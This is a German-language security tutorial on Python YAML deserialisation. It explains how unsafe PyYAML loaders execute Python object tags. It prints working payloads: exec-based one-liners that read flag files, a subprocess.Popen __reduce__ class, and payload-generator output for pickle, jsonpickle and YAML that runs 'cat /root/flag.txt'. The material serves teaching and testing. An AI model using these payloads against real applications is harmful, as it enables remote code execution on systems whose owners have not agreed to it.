# Python Yaml Deserialisierung
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## Yaml **Deserialisierung**
**Yaml**-Python-Bibliotheken können auch **Python-Objekte serialisieren** und nicht nur Rohdaten:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Überprüfen Sie, wie das **Tuple** kein Rohdatentyp ist und daher wurde es **serialisiert**. Und dasselbe geschah mit dem **Range** (aus den eingebauten Funktionen).
![](<../../.gitbook/assets/image (1040).png>)
**safe\_load()** oder **safe\_load\_all()** verwendet SafeLoader und **unterstützt keine Deserialisierung von Klassenobjekten**. Beispiel für die Deserialisierung von Klassenobjekten:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #
print(yaml.load_all(data, Loader=Loader)) #
print(yaml.load_all(data, Loader=UnsafeLoader)) #
print(yaml.load_all(data, Loader=FullLoader)) #
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #
print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Der vorherige Code verwendete **unsafe\_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass es in **Version >= 5.1** nicht erlaubt ist, **eine serialisierte Python-Klasse oder Klassenattribut zu deserialisieren**, wenn im load() kein Loader angegeben ist oder Loader=SafeLoader.
### Grundlegendes Exploit
Beispiel, wie man **einen Sleep ausführt**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Verwundbares .load("\") ohne Loader
**Alte Versionen** von pyyaml waren anfällig für Deserialisierungsangriffe, wenn Sie den **Loader nicht angegeben haben**, beim Laden von etwas: `yaml.load(data)`
Sie können die [**Beschreibung der Schwachstelle hier finden**](https://hackmd.io/@defund/HJZajCVlP)**.** Der vorgeschlagene **Exploit** auf dieser Seite ist:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Oder Sie könnten auch diesen **Einzeiler verwenden, bereitgestellt von @ishaack**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Hinweis: In **neueren Versionen** können Sie **nicht mehr `.load()` aufrufen** **ohne einen `Loader`** und der **`FullLoader`** ist **nicht mehr anfällig** für diesen Angriff.
## RCE
Benutzerdefinierte Payloads können mithilfe von Python YAML-Modulen wie **PyYAML** oder **ruamel.yaml** erstellt werden. Diese Payloads können Schwachstellen in Systemen ausnutzen, die nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Säuberung deserialisieren.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Tool zur Erstellung von Payloads
Das Tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) kann verwendet werden, um Python-Deserialisierungspayloads zu generieren, um **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu missbrauchen:
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Referenzen
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
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